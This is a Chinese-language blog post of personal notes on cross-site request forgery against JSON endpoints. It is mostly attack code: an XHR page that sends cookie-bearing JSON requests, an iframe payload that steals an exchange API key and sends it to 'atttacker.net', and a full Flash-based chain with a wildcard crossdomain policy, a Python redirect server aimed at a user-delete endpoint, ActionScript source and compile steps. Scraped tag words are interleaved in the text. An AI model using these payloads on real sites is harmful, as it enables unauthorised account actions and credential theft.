CSRF與JSON

以前遇到提交json的請求想要進行csrf攻擊都是用的閉合表單的方法,很笨很麻煩,html

此次看到了別人的操做記錄一下.java

這裏用到了ajax異步請求(可是這裏我有個疑問就是:這裏用到了cors跨域,是否是必須服務器端也支持cors且又配置錯誤的狀況才能夠用此方法?待驗證)python

<html>  web

<body>    ajax

<script>      json

function submitRequest()    {      api

     var xhr = new XMLHttpRequest();      跨域

     xhr.open("POST", "http://www.xxx.com/webnet/edit", true);        服務器

    xhr.setRequestHeader("Accept", "*/*");        cookie

    xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");        

    xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");        

    xhr.withCredentials = true;          //帶上cookie

    xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}));    }    

</script>    

<form action="#">      

<input type="button" value="Submit request" onclick="submitRequest();"/>    

</form>  

</body>

</html>

 

 

看到別人還有用flash文件來進行攻擊的狀況,也記錄下

https://www.freebuf.com/articles/web/155189.html

 

 

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://btc-exchange/api/requestApiKey',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};
</script>’></iframe>

 

2018.12.1  對flash csrf的補充以下---------------------------------------------------------------分割線-----------------------------------------------------------------------

https://blog.csdn.net/Lee_Natuo/article/details/83749809

 

這個時候有兩種狀況,flash文件上傳在目標站點仍是攻擊者本身的站點,若是是目標站點,則須要在攻擊者站點上配置crossdomain XML文件:

<cross-domain-policy> <allow-access-from domain="*" secure="false"/> <allow-http-request-headers-from domain="*" headers="*" secure="false"/> </cross-domain-policy>

流程:
1.在本地先建立一個服務器端,能夠用python(目標站點:http://victim-site/userdelete),經過命令「python pyserver.py」運行Web服務器
import BaseHTTPServer
import time
import sys
   
HOST= '127.0.0.1'
PORT= 8000
   
classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  def do_POST(s):
    if s.path == '/csrf.swf':
      s.send_response(200)
     s.send_header("Content-Type","application/x-shockwave-flash")
      s.end_headers()
      s.wfile.write(open("csrf.swf","rb").read())
      return
    s.send_response(307)
    s.send_header("Location","http://victim-site/userdelete")
    s.end_headers()
  def do_GET(s):
    print(s.path)
    s.do_POST()
   
if__name__ == '__main__':
  server_class = BaseHTTPServer.HTTPServer
  httpd = server_class((HOST,PORT),RedirectHandler)
  print time.asctime(),"Server Starts -%s:%s" % (HOST,PORT)
  try:
    httpd.serve_forever()
  except KeyboardInterrupt:
    pass
  httpd.server_close()
  print time.asctime(),"Server Stops -%s:%s" % (HOST,PORT)

2.建立csrf.swf文件
1)建立一個包含下列ActionScript代碼的text文件,文件名爲csrf.as
package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
public class csrf extends Sprite
  {
   public function csrf()
    {
      super();
      var member1:Object = null;
      var myJson:String = null;
      member1 = new Object();
      member1 = {
          "acctnum":"100",
          "confirm":"true"
      };
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      myJson = JSON.stringify(myData);
      var url:String ="http://attacker-ip:8000/";
      var request:URLRequest = new URLRequest(url);
      request.requestHeaders.push(new URLRequestHeader("Content- Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      var urlLoader:URLLoader = new URLLoader();
try
      {
          urlLoader.load(request);
          return;
      }
      catch(e:Error)
      {
          trace(e);
          return;
      }
    }
  }
}

2)獲取託管Flash文件的主機系統(攻擊者的服務器)IP地址/域名,並替換掉代碼中的<attacker-ip> 上面用的127.0.0.1
3)運行「mxmlc csrf.as」命令,將該文件編譯爲csrf.swf
  這裏編譯的時候有些坑,第一個時不能使用64位的jre,因此我又下載了32位的jvm,可是配置jvm.config的時候出錯了
  因而乾脆用的批處理,在flex_sdk下的bin目錄下建立bat文件,內容以下:
   "%JAVA_HOME%\bin\java.exe" -Xmx384m -Dsun.io.useCanonCaches=false -jar "%~dp0..\lib\mxmlc.jar" +flexlib="%~dp0..\frameworks" %*

  最後用這個bat來編譯as代碼成swf文件
http://victim-site/userdelete

 

4)最後只需加載swf文件便可,可使用以下代碼在html中加載swf文件<embed style="RIGHT: 10px; POSITION: absolute; TOP: 10px" align=center src=127.0.0.1/csrf.swf width="1024" height="580 " type=application/x-shockwave-flash wmode="transparent" quality="high" ;> </embed>上面的狀況和XSCH (Cross Site Content Hijacking)可翻譯爲跨站內容劫持有些細節上的區別,詳情http://wiki.secbug.net/web_xsch.html
相關文章
相關標籤/搜索